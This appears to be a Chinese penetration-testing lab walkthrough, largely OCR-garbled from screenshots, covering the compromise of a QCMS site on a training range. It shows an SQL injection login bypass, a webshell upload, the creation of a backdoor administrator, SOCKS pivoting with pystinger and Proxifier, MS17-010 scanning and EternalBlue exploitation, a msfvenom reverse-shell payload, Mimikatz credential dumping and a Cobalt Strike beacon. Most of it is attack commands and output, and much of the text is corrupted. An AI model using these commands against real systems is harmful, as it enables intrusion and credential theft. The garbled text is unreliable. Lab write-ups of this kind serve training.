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select * from user where username = and password = *;

REFERBREISGR, MARTHA.

text/html, application/xhtml+xml,application/xml;q=@.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
@ Referer: http://1lri45456.ia.aqlab.cn/admin/
1 Accept-Encoding: gzip, deflate
2 Accept-Language: zh-CN,zh;q=0.9
3 Cookie: PHPSESSID=k95jdmgd86fhl4i15kn779210@
4 Connection: close
5
6 username=dq ' +0%3b" /. '&password=dwqd

DB <[>l %
(]
J!i!!‘u‘ Render \n Actions v

racaysr cir’rur’
</b>
Uncaught exception 'PDOException’ with message 'SQLSTATE[420@0]: Syntax error or access violation: 1064 You have an error in your SQL
4 Stack trace:
5 #0 C:\phpStudy\WWww\Lib\Config\Db.php(78): PDO-&gt;query('SELECT * FROM g...') 1
6 #1 C:\phpstudy\WWw\Lib\Config\Db_pdo.php(8@): Db-&gt;q_s ! * '
7 #2 C:\phpStudy\WWwW\Lib\Model\QCMS_Admin.php(34): Db_pdo-&gt;exec_select(Array, '*', @, @, "', '", 1)
8 #3 C:\phpstudy\www\Lib\Config\Controllers.php(55): QCMS_Admin-&gt;selectOne(Array)
S #4 C:\phpsStudy\WWw\System\Controller\admin.php(14): Controllers-&gt;adminLogin('dq"' o;"'/."'", 'dwqd")
2 #5 [internal function]: Admin-&gt;index_Action() CSDN @[HE X

dp' or 1 =1 #

dq'+or+1+%3d+1%23

Pretty \n Actions v
8 User-Agent: Mozilla/5.0 (Windows NT 1©.0; Wine4; x64) AppleWebKit/537.36 (KHTML, like Gecko) C
9 Accept:


http://lri45456.ia.aqlab.cn/admin

text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0
Lo Referer: http://lrid5456.ia.aqlab.cn/admin/
L1 Accept-Encoding: gzip, deflate
L2 Accept-Language: zh-CN,zh;q=0.9
L3 Cookie: PHPSESSID=k95jdmgd86fhl4i15kn7792100
L4 Connection: close
L5
L6 username=dq ' +or+1+%3d+1%23&password=dwqd

@ @ ‘EHE‘ ‘ Search...

0]

JEJIE.‘ Render \n Actions v

L@ Set-Cookie: admin_name=admin; expires=Mon, 14-Mar-2622 20:19:17 GMT; path=/

L1 Set-Cookie: admin_secret=f34ee57c406fd3ab633a4c882e0Bcb3d6; expires=Mon, 14-Mar-2022 20:19:17 G
L2 Content-Type: text/html

L3 Content-Length: 137

L4 Connection: close

L5
L6 <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<script>
window.location.href="/backend/index.html"
</script> CSDN @|HE R
RIEREETH,
Q@ sqlimapsliz - EEERE x @ sgimapiip X ‘ ar
<« C A TZ2£ | Ir45456.ia.aqlab.cn/backend/index html w B
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RSOGO : /Static/upload/source/20200828/4995f47e140002¢cd2.php LfE

FEHLRE:  Count

BEMN: EETEIKEEREXEXS

Fl B MET
NFE

CSDMN @|HE

™ 4E$EFIE C(http://Iri45456.ia.aqlab.cn/Static/ upload/source/20220312/727622bb006267dc2.php} -OX
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EETEE - Lndex
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REIEE UTF8 v
EEAR PHP v
(=) default (-33%)
() baset4
O chr .
2 BEkiEE ~
o8 HAEE CSDN @[HEHE=.
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B, BEMEHERE

C: \phpStudy\WWR\Static\upload\source\20220312> cd C:/

C:\> whoami
nt autheority\system

> netstat —ano

VI

e %1 1/ ShEpith PID
0.0.0.0:80 0.0.0.0:0 LISTENING
0.0.0.0:88 0.0.0.0:0 LISTENING
0.0.0.0:135 0.0.0.0:0 LISTENING
0.0.0.0:445 0.0.0.0:0 LISTENING
0.0.0.0:3306 0.0.0.0:0 LISTENING
N PEELE 0.0.0.0:0 LISTENING
0.0.0.0:8082 0.0.0.0:0 LISTENING
0.0. G 0:=47001 0.0.0.0:0 LISTENING
0.0.0.0:49152 0.0.0.0:0 LISTENING
0.0.0 .0.45153 0.0.0.0:0 LISTENING
0.0.0.0:459154 0.0.0.0:0 LISTENING
0.0.0.0:49155 0.0.0.0:0 LISTENING
0.0.0.0:49156 0.0.0.0:0 LISTENING
127.0.0.1:3306 127.0.0.1:6333 TIME WATT
127.0.0.1:6333 127.0.0. TIME WAIT
127.0.0.1:63: 127.0.0.1:3 TIME WATT
- . : .

LR, EH3389, Pl AMER338FMAERE, W2 LM

c:\> ipconfig
Windows IP Bif

lan
feB80::bd27:d25%8:bl83:8a3
: 192.168.0.27
255.255.0.0
192.168.0.1

2T

C: \)—pinq baidu.com
IFTE Ping baidu. com [
*8 192.168.0.1

B 152.168.0.1

B 192.168.0.1

B 192.168.0.1

AEEpingid, ZRAREH M, FRHHA http80¥w 0K

BHRGMAS, FMAEERHA, J&EERHZNMNKS

net user jdq 123456...aA /add net localgroup administrators jdq /add



localgroup administrators jdg /fadd

C:\phpStudy\Hﬂﬂ} net user

A\ FIAPE

ETA » BRITSEARTR » B
JaTH Mpystinger, VARTAEAIBET), XKBATT, WA TRZZHE,

_EAE A ) proxy.phpill ok

Iri45456.ia.aglab.cn/Static/upload/source/20220312/proxy.php
| B oy | [ ] L B

_kA&stinger_server.exe AN Ei21T, BERBIBITHRI. tasklist | findstr sting. K Thiz4T

C : \phpStudy\WWH>
:\phpStudy\WWAW> start stinger server.exe
:\phpStudy\WWW> tasklist | findstr sting
stinger server.exe 2108 Services

stinger server.exe 3828 Services



https://github.com/FunnyWolf/pystinger
https://github.com/L-codes/Neo-reGeorg
https://www.jianshu.com/p/c26855da1503
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A Hi 3% 160005k & socks4aft st 1, £ Hproxifier, #RAINFCHE RS 2%

File

Profile Log View Help

M e 5@ 7]

Time/
20:44

Application
' | B mstsc.exe *64

Target
127.0.0.1:3389

Address:

oY protocol

User ID:

Proxy Server

addl (O SOCKS Version 5
127
127
HTTPS
127 O
127
Authentication

Received

271 KB

[127.0.0.1

L

i |l 7 | Gt y

[03. 11 21:49:51] B

[03.11 21:49:51] Welcome to Proxifier v3.21 y

[03.11 21:49:51]

[03.11 21:51:09] mstso. exe *64 — 127.0.0.1:33539 open throug

[03.11 21:51:34] mstso. exe *64 — 127.0.0.1:3389 close, 19 b

[03.11 21:51:42] mstsc. exe #64 — 127.0.0.1:3389 open throug II]
[03.11 21:51:50] mstso. exe *64 — 127.0.0.1:3389 close, 632

[03.11 21:51:50] mstso. exe *64 — 127.0.0.1:3389

open through proxy TZ7 U U TTBU00 SUCESE

CSDN @

O = b
I!‘I ':| HMEIE

| Check

FEONEENLIF /B 733894 1, HEFEEHMN. FreALEEEERE, HEHEHARERFRMRTLLAH127.0.0.1REEER.
Fproxifier{t ¥ mstsc.exe

Proxification Rule ? X !
4=z | Application
. & Proxification Ru EE ‘11 B Enabled ? X
K mstsc.exe *64
Rule Name I A
mstsc.exe I
[ New
[ redis
Example: iexplore.exe; "some app.exe”; fire*.exe; *.bin Browse... .
1 New
Target hosts T
[ pass fny
[A mstsc
Default Example: 127.0.0.1; *.example.com; 192. 168.1.%; 10.1.0.0-10.5.255.255
v
AR W EE e St Add... L
|Anv
[03. 11 21:49:51] Rules are pr &
[US. 11 21 .49.51] Welcome Example: 80; 8000-9000; 3128
[03.11 21:49:51] Use check boxes to en|
[03.11 21:51:08] mstsc. exe *6
[03.11 21:51:34] mstsc. exe *6 T
[03.11 21:51:42] mstsc. exe *6 1 Actigh:  Proxy SOCKS4 127.0.0. 1:6000 | Cancel
[03. 11 21151:50] mstsc. exe *6s — 1207 UiU 1. o007 of
[03.11 21:51:50] mstsec. exe *64 — 127.0.0.1:3389 o y A
(03 11 21 51-51] mstec. exe 464 — 127 0.0, 13309 o | OK | Cancel CSDN @[HE




Fi Profile  Log View Help

RGBT, wintr, #jAmstsc

&_gu IR HIEE - *
5‘/ P T
N EEiE

=l Bm SHEER A SR
gFRRE
BRI EHAETR,

TEHLC): 127.0.0.1:3389 -
BrRE: jdq

L{FEErEERaRER,
[ iF R EEERR)

EERE
' l BHENEES S FEFS RDP S EHTH— 1 BRI,

FIFH(E)...

FRF(S) BEFEAN)...

EEE(N)

(=) [EEBEIR(O) g k@ﬁ?ﬂE{HT‘]ﬁ‘f:

AT

4z= | Application
3 [& Proxification Rules ? X
B mstsc.exe *64
Rule Name Applications Target Hosts Target Ports Action )
python2.exe; Proxy SOCKS5
[0 New python.exe Any Any 127.0.0.1:1080
. ‘ Proxy SOCKSS
[ redis dient.exe Any Any 127.0.0.1:1080
. ) Proxy SOCKS5 —
] New chrome. exe Any Any 127.0.0.1:1080 .
. ) Proxy SOCKS5
[ pass PassHack.exe Any Any 127.0.0.1:1080
. ) Proxy SOCKS4
[ mstsc mstsc.exe Any Any 127.0.0. 1:6000
Default Any Any Any Direct
v
i | uw FE | - ZEit Add... Clone Remove
[03. 11 21:49:51] )
[03 11 21-49-51] ¥eloome Rules are processed from top to bottom. Use the arrows at the right to change the order.
[03.11 21:48:51] Use check boxes to enable/disable a rule.
[03.11 21:51:08] mstsc. exe *B
[03.11 21:51:34] mstsc. exe *6 ]
[03. 11 21:51:42] mstse. exe *6 :ox CH:JE!DH p
[03.11 21:51:50) mstsec. exe #6% — 1or. v v 1. 0000 oLoSe; BOC DYTesS Sent; 1£19 DYTeS \1.10 DD} Teselved, LIIeTIme UU. Ug 2 @




R LB KA m R, HSLRE Aproxifier DR E R BN T, FrAEEHIKI33894 2 BIX M E .

Application Target Time/Status Rule : Proxy Sent Received
B mstsc.exe *64 127.0.0.1:3389 29:02 mstsc : 127.0.0.1:6000 SOCKS4  31.5KB 280 KB
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"' T . Apache 2020/8/22 15:07 itk

=] | backup 2020/8/22 18:07 itk

EBOHARE | L Faeymploats

= k] Apache: @

Ep - ek

& EF W =dl fRniEE EHER A
—_— T NSE . man & RS

&, FHEEE ) ) tools C RS iE
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mmysql-front, FEMERIAZEiGroot, BHERMMEEHIEE.

THE EREC BEO NEG #SEE Eho REw #EHE)

D@ e NN KENI sy wom

,fg_'g i @ ¢ & ASNE | SdEaE - SOLImEEE
3 cake AT v sw s [{FE =y [BE
3 enseasy id -~ USEArme pasaword group_id rmone I rmabile I‘YPB
. information_schena 1 1aeefalcdd 367 a1418824b238adal 761 1 0.00
3 mysql 2 flag{zqlmappylk} e=d6B330a1181ef1 dd35afbbi525940 1 0.oo

O, performance_schena
3 qems
qems_admin
1 qems_album
qems_album_data
| qems_area
| amms_cate
| qems_down
| qems_down_data
| qems_dewn_server

| qems_files

| qems_guest
| qems_links

| gems_location

| qems_location_data
| gems_log

| qems_mail

| gems_module

| gems_news

| qens_product

aems =1 dechow =

il o
[ 83 [2 Recordsi=l ~ — T77F

KA BlflagEMW L, FIEMARBAREE. - . .
Kaliizi& - £ T His R 5% 3
PR L AE A P AR SR 3,

C:\phpStudy\WWW> type flag.php

<Z?php S$a="flag{cdy]bx&}";?>

Kaliizi& - 33 Sqimap®. 8 3K 15 IR 55 83 LR

1%k & —os-shell E#:3k G shell, A& Hflag

kaliizi& - hydraf@ i ik 55 28 5 Bt %5 65

KREA AR ? ? R H YilinuxBR %53, EEENLEFRRwindows k%5252 2 ?
ZH LG 8:83% pystinger + cobalt strike A i M _I £



EfeportiTthas, HRMAKMBBME LI, F£139/445

dvanced Port Scanner

IhE HEW BEQ FHE

e |10 ££‘%& =

IIBZ. 168. 0. 1-192. 168. 0. 254 AT, 192, 160, 6. 1-100, 192, 166, 0. 200 h, 1863, 2100, 3128, 3306, 3389, 7001, 8080, B0&1-8088, 6888, 080, 9080|1252

#8 | s |

[ WAC HiF o HiE
Openfrt lan 29:2F:5m:2C

zkaq-ThedbalZ22. Lan 56:EE:E0: 1D 82, 135, 139, 445, 3306, 3389, 3080

Battle-Ti lan , B8, 135, 445, 3358, 5080, 8081 e oy
182.168.0.5 81, 135, 445, 3389 Windows
WIN-ES9RSERNFES. Lan , 8L, 82, 85, 135, 445, 808, 888, 3389 182. 168. 0. 3

182, 168.0.8 , 135, 445, 3389 00:50:56:BE: 05:12
182.168.0.9 &0, &t VMware, Inc.

182, 188.0.10 : , B0, 306

182, 188.0. 11 : , 3389

182, 188.0. 12 : 135, 445, 3389
192.168.0. 16 . 168, : 2z, &0
WIN-FOLHHTOS316. Lan . 168, : 135, 445, 3369

192.168.0.18 . 168, : 22, 80
2 ]
182.168.0.19 . 168, : 22

test—fan. lan . 166, : 80, 135, 139, 445, 3306, 3389 4L E:ﬁg iiﬁf@%
192, 188.0.21 . 1BE. : 22, 60, 43 B EDEE W
192, 188, 0.22 . 168, : 22, B0, 3308, 0BT B/ RS RE
192, 188, 0.23 . 168, : 21, 22, B0, 698, 6968, 9090 M CRiERTEE
WIN-DBSTPS029TD. Lan 60, 135, 139, 445, 3306, 3309 ;fn;_a;];e (ﬁ:‘gg)
WIN-DSHF1CFEUDE. Lan 80, B8, 135, 445, 3388, BOSZ Open3SL/1. 0L 25

WIF-FOIHHTDD316. Lan 135, 445, 3389 FHP/6. 4.45)

182, 188.0.51 80, 135, 445, 3389 Apache httpd
182, 188.0.53 135, 3389 2.4.23 (Win32)
Open3SL/1. 0L 25
FPHP/6.4.45

000 4 40 404 0 0 i o

Microsoft IIS
httpd 6.0

Microsoft IIS
httpd 6.0

|

o4 FHURAS 0 RULRAS » 230 REMRE

TREVPSHmsHIHTKIEZEMA—T.

VPS ¥R R E
Jstinger_client -w http:/Iri45456.ia.aqlab.cn/Static/upload/source/20220312/proxy.php -10.0.0.0 -p 6000



F—AMRAEZ BERMEER: auxiliary/scanner/smb/smb_ms17_010
use auxiliary/scanner/smb/smb_ms17_010

set rhosts 192.168.0.4

set proxies socks4:127.0.0.1:6000

run

- Host 1s likely VULNERABLE to MS17-010! - Windows Server 2003 3790 Service Pack 2 x86 (32-bit)
- Scanned 1 of 1 hosts (100% complete)
Auxiliary mc:dule execution complet
> set rhost 1

> run
/0[ t/metaﬁplolt flamew(nk/'eml dded/'llh/ruhy/qemﬁ/’x 0.0/gems/rex-socket-0.1.34/11ib/rex/socket/comm/local.rb: : warning: Socket.gethostbyname is
drinfo.getaddrinfo instead.
t/metasploit-framework/embedded/11ib/ruby/gems/3.0.0/gems/rex-socket-0.1.34/11ib/rex/socket/comm/local.rb : warning: Socket.gethostbyname 1
; use Addrinfo.getaddrinfo instead.

- Host is likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Standard 7601 Service Pack 1 x64 (64-bit)
- ‘-canned 1 of 1 hosts (100% complete)

- set rhost 1
msf6 auxthalyfa n > run

/cvpt/me‘taqplcﬂt -framework/embedded/1ib/r ruby/gems/3.0.0/gems/rex-socket-0.1.34/11b/rex/socket/comm/local.rb:43" rning: Socket.gethostbyname 1is depred
; use Addrinfo.getaddrinfo instead.

/opt/metasplotit-framework/embedded/11b/ruby/gems/3.0.0/gems/rex-socket-0.1.34/11b/rex/socket/comm/local.rb:435: warning: Socket.gethostbyname 1is depred
; use Addrinfo.getaddrinfo instead.

1445 - Host is likely VULNERABLE to MS17-010! - Windows Server 2008 HPC Edition 7601 Service Pack 1 x64 (64-bit)

1445 - Scanned 1 of 1 hosts (108% complete)
Auxiliary mc:clule execution completed
7 > set rhost 1

auxﬂlalyf ms17 | > run
/c;pt/me‘taqplcalt -framework/embedded/11b/ruby/gems/3.0.0/gems/rex-socket-0.1.34/11b/rex/socket/comm/local.rb: : warning: Socket.gethostbyname 1
; use Addrinfo.getaddrinfo instead.
/opt/metasploit-framework/embedded/11b/ruby/gems/3.0.0/gems/rex-socket-0.1.34/11b/rex/socket/comm/local.rb:435: warning: Socket.gethostbyname 1is
; use Addrinfo.getaddrinfo instead.

1445 - Host 1s likely VULNERABLE to MS17-010! - Windows Server 2008 R2 Enterprise 7601 Service Pack 1 x64 (64-bit)

:445 - Scanned 1 of 1 hosts (100% complete)
Auxdlary m(:dule execution comple
smb > set rhost 1

> run
/opt/metasploit- fl amework/embedded/1ib/rub /gems/3.0.0/gems/rex-socket-0.1.34/11b/rex/socket/comm/local.rb warning: Socket.gethos

mstscB %, XK TE, WiK192.168.0.20 AT LLZ{TRESR, [HEEAE HIE.

msf AN NG :


https://soapffz.com/sec/22.html
https://raw.githubusercontent.com/k8gege/K8tools/master/k8zzz.rar

o H—H
W E#E BAAARD RN
msfvenom A AR L : msfvenom lhost=192.168.0.2 lport=4444 -f exe --platform windows -p
windows/shell reverse_tcp > evil.exe

fic & exploit/multi/handlerf& B {iE

exploit/multi/handler

payload windows/shell/reverse_tcp

lhost 192.168.0.2
lport 4444

o AW
BENUIFRA s, ERIVERE, AR

exploit/windows/smb/ms17_010_ eternalblue
rhost 192.168.0.19

payload windows/x64/shell/reverse_tcp
lhost 192.168.0.2

lport 4444

7T BRmstHEBERGEFHT . #]CS,
s » TR RdgU R A B system, T 88 AR Zsystem, Bt DU F 8132 /T mimikatz

c:\phpStudy\WAW\Static\upload\source\20220312> mimikatzE4.exe "privilege::debug" "sekurlsa::logonpasswords™ "exit"> password.txt

c:\phpStudy\WAW\Static\upload\source\20220312> type password.txt
-BEEEE. mimikatz 2.2.0 (x64) $#15041 Sep 18 2020 15:18:29
i ~ ##. "A La Vie, A L"Amour"™ - (oce.eoc)
## / \ ## /*** Benjamin DELPY ‘gentilkiwi® (
i\ / #E >
‘#f v B Vincent LE TOUX (
TEEEEE” >

mimikatz (commandline) # privilege::debug
Privilege "20" OK

mimikatz (commandline) # sekurlsa::logonpasswords

Buthentication Id : 0 ; 106892168 (00000000:065£0b88)
Session : RemoteInteractive from 1
User Name : jdg



https://github.com/gentilkiwi/mimikatz/

” o« ” o«

mimikatz.exe “privilege::debug” “sekurlsa::logonpasswords” “exit”> password.txt

type password.txt
FES, BT ZEENR64AL, FrbAE FAE64AIKIKRZL.

Authentication Id 0 ; 689548 (00000000:000a858c)

Session Interactive from 2

User Name Bdministrator

Domain WIN-D9HF1CFEUDB

Logon Server WIN-DSHF1CFEUDB

Logon Time 2020/8/25 18:45:18

SID 5—-21-1436404026-2530580561-21858185974-500

msv :
[00000003] Primary
* Username : Administrator
Domain WIN-DSHF1CFEUDB
M we_ 2afT70ed%60"7 """
NTLM 73077 &50af97c21f40£1

SHA1 d

tapkg :

* Username Bdministrator

* Domain WIN-D9HF1CFEUDB
* Password e 7781~ WE
wdigest :

* Username Bdministrator

* Domain WIN-D9HF1CFEUDB
* Password ek
kerberos :

* Username Bdministrator

* Domain WIN-D9HF1CFEUDB

* Password T ... WE




neo-regeorg, mstscE# X neo, B

Fpystinger, ¥EHLEVPSERERI. csEpystingerfE[Fl—VPS.

cs+pystinger “EH B EI S % L E
FEXENE —AANERE, 22 Ihitp listener

B New Listener

Create a listener.

BT Ilesl

Payload: IBea con HTTP

Payload Options

HTTP Hosts: 127.0.0.1

HTTP Host (Stager): |127.0.0.1

Profile: Idefa ult

HTTP Port (C2): :60020[

HTTP Port (Bind): |

HTTP Host Header: |

HTTP Proxy: I |
#5) SDN @|H 8 s
save_ | | coonelpEms
N
KA i exe EAL BIREHLIZAT . BLT) E£&
O O H=Ee BEFfLU RwBEE fa B
external internal = listener user computer note process pid arch last
B 127001 192.168.0.27 test SYSTEM * WIN-D9HF1CFEUDB 2. exe 2924 x64 20s
HEX | AT EEX
name * payload host port bindto beacons profile
test windows/beacon_http/reverse_http 127.0.0.1 60020 127.0.0.1 default DN @|A B s


https://www.freebuf.com/articles/web/255840.html
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